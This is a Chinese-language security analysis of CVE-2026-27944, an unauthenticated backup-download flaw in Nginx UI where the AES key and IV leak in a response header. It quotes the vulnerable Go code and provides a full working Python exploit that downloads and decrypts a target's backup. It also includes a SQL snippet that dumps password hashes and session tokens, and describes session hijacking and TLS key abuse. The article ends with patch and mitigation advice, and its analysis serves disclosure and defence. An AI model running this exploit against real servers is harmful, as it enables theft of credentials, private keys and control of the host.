Nginx UI 是一款由开发者 0xjacky、hintay 和 akino 共同开发的 Nginx Web 管理界面,在 GitHub 上获得超过 10.8k 星标,支持通过 Docker、系统服务或二进制文件部署,旨在简化 Nginx 配置管理,提供可视化配置 Nginx、证书管理、日志查看、集群管理等功能。
2026 年 3 月 5 日,GitHub Security Advisory 发布了一则严重安全警告(GHSA-g9w5-qffc-6762),披露了 Nginx UI 管理面板中的一个灾难性漏洞 ——CVE-2026-27944。该漏洞 CVSS 评分高达 9.8,属于 Critical 级别,攻击者无需任何认证即可下载完整系统加密备份,且解密所需的 AES-256 密钥和 IV 直接在 HTTP 响应头中明文泄露,导致所有敏感数据(包括用户凭证、SSL 私钥、Nginx 配置)可被轻松解密窃取。
该漏洞的核心是双重逻辑失误,相当于 “把保险箱密码贴在箱子上”,具体分为两个层面:
在 Nginx UI 的api/backup/router.go文件中,第 8-11 行定义了备份相关路由:
func initRouter(r *gin.RouterGroup) {
r.GET("/backup", createBackup) // 这里没有任何认证中间件
r.POST("/restore", middleware.EncryptedForm(), restoreBackup)
}可以看到,同一个模块下的/api/backup/restore(备份恢复)接口正确地使用了middleware.EncryptedForm()中间件,而/api/backup(备份下载)接口却完全开放给未经认证的请求,这种不一致的安全设计是第一个致命错误。
即使允许下载备份,如果加密足够强大,攻击者拿到的也只是一堆乱码。但 Nginx UI 的第二个错误让加密形同虚设。在api/backup/backup.go的createBackup函数中(第 22-33 行),代码逻辑如下:
func createBackup(c *gin.Context) {
result, err := backup.Backup()
if err != nil {
cosy.ErrHandler(c, err)
return
}
// 拼接密钥和初始化向量
securityToken := result.AesKey + ":" + result.AesIV
// 将密钥通过HTTP头发给客户端
c.Header("X-Backup-Security", securityToken)
http.ServeContent(c.Writer, c.Request, filename, modTime, reader)
}这里的result.AesKey和result.AesIV是 Base64 编码的 AES-256 密钥(32 字节)和初始化向量 IV(16 字节),它们被简单地用冒号拼接,然后通过X-Backup-Security响应头发送给下载备份的客户端。攻击链条因此变得异常简单:访问接口→下载加密备份→从响应头拿到密钥→用密钥解密备份,整个过程不需要任何猜测、破解或复杂技巧。
在router/routers.go里,/api根组只绑定了middleware.IpWhitelist(),然后直接初始化了一批 “无需认证” 的路由模块,其中就包含backup.InitRouter(root):
root := r.Group("/api", middleware.IpWhitelist()){
public.InitRouter(root)
crypto.InitPublicRouter(root)
user.InitAuthRouter(root)
license.InitRouter(root)
system.InitPublicRouter(root)
system.InitSelfCheckRouter(root)
backup.InitRouter(root) // 这个被放进了匿名组
// 需要认证的私有组
local := root.Group("/", middleware.AuthRequired()){
llm.InitLocalRouter(local)
}
// 需要认证且非WebSocket请求
g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()){
// 大量私有路由
backup.InitAutoBackupRouter(g) // 这个被放进了认证组
}
}同样是备份模块,InitAutoBackupRouter(g)被放进了需要认证的私有组,而InitRouter(root)却被放进了匿名组,这意味着GET /api/backup和POST /api/restore都天然不受AuthRequired()保护。
IpWhitelist()的关键逻辑如下:
func IpWhitelist() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
if len(settings.AuthSettings.IpWhitelist) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
if !lo.Contains(settings.AuthSettings.IpWhitelist, clientIP) {
c.AbortWithStatus(http.StatusForbidden)
return
}
c.Next()
}
}当settings.AuthSettings.IpWhitelist为空时(这在 “默认安装、未配置额外安全项” 的场景里非常常见),中间件会直接c.Next(),等价于不做任何限制。结合 Nginx UI 在首次启动自动生成app.ini时,其 IP 白名单必然为空的特性,导致所有新安装的环境在默认状态下即对公网完全暴露高危接口。
在internal/backup/backup.go中,备份会生成随机 Key、IV,并以 Base64 形式返回给上层:
key, err := GenerateAesKey()
// ...
iv, err := GenerateIV()
// ...
// 编码加密密钥为Base64以便安全传输/存储
keyBase64 := base64.StdEncoding.EncodeToString(key)
ivBase64 := base64.StdEncoding.EncodeToString(iv)
// 组装最终备份结果
result := Result{
BackupContent: buffer.Bytes(),
BackupName: backupName,
AesKey: keyBase64,
AesIV: ivBase64,
}在逻辑层看来,把 Key/IV 放进result也许是为了展示,让用户下载后能恢复。但控制器层的做法是把它们塞进响应头,导致任何能触发下载的人都能同步获得解密材料,加密在此处仅起到了 “混淆” 作用,而未提供任何实质性的机密性保护。
以下 Python POC 脚本完整演示了利用过程:
#!/usr/bin/env python3
import argparse
import base64
import urllib.request
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
def download_and_decrypt(target_url, output_dir):
# 1. 发起无认证请求
req = urllib.request.Request(f"{target_url.rstrip('/')}/api/backup", method="GET")
resp = urllib.request.urlopen(req)
# 2. 从头部提取密钥
security_header = resp.headers.get('X-Backup-Security', '')
if ':' not in security_header:
print("[-] 未找到密钥头")
return
key_b64, iv_b64 = security_header.split(':')
encrypted_backup = resp.read()
print(f"[*] 从响应头获取密钥: {key_b64}")
print(f"[*] 初始化向量IV: {iv_b64}")
# 3. 准备解密
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
if len(key) != 32:
print(f"[-] 密钥长度异常: {len(key)}字节")
return
if len(iv) != 16:
print(f"[-] IV长度异常: {len(iv)}字节")
return
print(f"[*] AES-256密钥长度: {len(key)}字节")
print(f"[*] IV长度: {len(iv)}字节")
# 4. 解密函数
def decrypt_file(encrypted_data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
# 移除可能的PKCS#7填充
decrypted = cipher.decrypt(encrypted_data)
padding_len = decrypted[-1]
if padding_len <= 16:
decrypted = decrypted[:-padding_len]
return decrypted
# 5. 解密备份包
print("[*] 开始解密备份包...")
with zipfile.ZipFile(BytesIO(encrypted_backup), 'r') as outer_zip:
for name in outer_zip.namelist():
print(f"[*] 处理文件: {name}")
encrypted_content = outer_zip.read(name)
decrypted_content = decrypt_file(encrypted_content, key, iv)
if name == 'hash_info.txt':
print(f"[+] hash_info.txt内容: {decrypted_content.decode()}")
elif name.endswith('.zip'):
# 这是另一个zip,需要进一步提取
inner_zip = zipfile.ZipFile(BytesIO(decrypted_content), 'r')
for inner_name in inner_zip.namelist():
print(f"[-] 提取: {inner_name}")
inner_zip.extract(inner_name, output_dir)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2026-27944 Nginx UI 信息泄露漏洞POC')
parser.add_argument('--target', required=True, help='目标URL,如http://192.168.1.100:9000')
parser.add_argument('--output', default='./stolen_data', help='输出目录')
args = parser.parse_args()
download_and_decrypt(args.target, args.output)
print(f"[+] 解密完成!文件保存在 {args.output} 目录")执行 POC 脚本后,会输出以下内容:
$ python poc.py --target http://192.168.1.100:9000 --output ./stolen_data [*] 从响应头获取密钥: gnfd8bhrjzrxs7ylrovvk+fyv9tjs50cfun/rwuyjga= [*] 初始化向量IV: +rlzrxk3kbwfrk3qmpb3jw== [*] AES-256密钥长度: 32字节 [*] IV长度: 16字节 [*] 开始解密备份包... [*] 处理文件: hash_info.txt [+] hash_info.txt内容: sha256(checksum)=a1b2c3d4e5f6... [*] 处理文件: nginx-ui.zip [-] 提取: database.db [-] 提取: app.ini [-] 提取: fullchain.pem [-] 提取: privkey.pem [*] 处理文件: nginx.zip [-] 提取: nginx.conf [-] 提取: sites-enabled/default [-] 提取: ssl/example.com.key [-] 提取: ssl/example.com.crt [+] 解密完成!文件保存在 ./stolen_data/ 目录
获取备份并解密后,攻击者首先检查database.db(SQLite 数据库),可获取用户凭证、会话令牌等信息:
import sqlite3
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# 查看用户表
cursor.execute("SELECT * FROM users")
users = cursor.fetchall()
for user in users:
print(f"用户: {user[1]}, 邮箱: {user[2]}, 密码哈希: {user[3]}")
# 查看会话令牌
cursor.execute("SELECT * FROM sessions")
sessions = cursor.fetchall()
for session in sessions:
print(f"会话令牌: {session[1]}, 用户ID: {session[2]}")通过会话令牌,攻击者可以在浏览器中设置相应的 Cookie 直接登录系统,无需破解密码哈希。SSL 私钥(server.key文件)让攻击者可以解密之前记录的 TLS 流量、伪造相同的 SSL 证书进行中间人攻击,Nginx 配置文件中可能包含其他内部服务的地址、API 密钥、数据库连接信息等,为攻击者提供了横向移动的跳板。
攻击者一旦成功利用此漏洞,获得的不仅是配置文件,而是整个系统的完整快照,具体危害包括:
敏感数据泄露:可获取用户凭据、会话令牌、SSL 私钥、Nginx 配置等核心敏感数据。
服务器完全控制:通过窃取的用户凭据或会话令牌,可直接登录 Nginx UI 管理界面,完全控制服务器。
中间人攻击:利用窃取的 SSL 私钥,可解密过往的 TLS 通信(如果进行了流量记录),或伪造服务进行中间人攻击。
横向移动:通过 Nginx 配置文件中的内部服务信息,可进一步渗透企业内网。
强烈建议所有用户立即升级 Nginx UI 至最新版本 2.3.3,官方已在该版本中修复了该漏洞,下载地址:https://github.com/0xJacky/nginx-ui/releases/
如果暂时无法升级,可采取以下临时缓解措施:
限制访问权限:通过防火墙或 Nginx 配置限制对/api/backup端点的访问,仅允许可信 IP 访问。
修改端点路径:修改 Nginx UI 配置,更改/api/backup端点的路径。
关闭公网访问:如果不需要公网访问,可将 Nginx UI 服务仅暴露在内部网络。
开发者应该从这次漏洞中吸取教训:
认证一致性检查:所有管理员接口必须通过统一的中间件强制认证,代码审查时,对任何未受保护的 GET/POST 请求都要标记为高危。
密钥生命周期管理:加密密钥绝不能出现在 HTTP 响应中,可使用预共享密钥(Pre-shared Key)加密,或者使用接收者的公钥加密 AES 密钥(非对称加密),或者要求用户设置备份密码(Password-based Encryption)。
最小权限原则:备份功能是否需要对所有认证用户开放?或许只有超级管理员才需要访问。
安全默认设置:新版本应该默认禁用备份功能,或者强制要求配置备份密码。
GitHub Security Advisory: https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762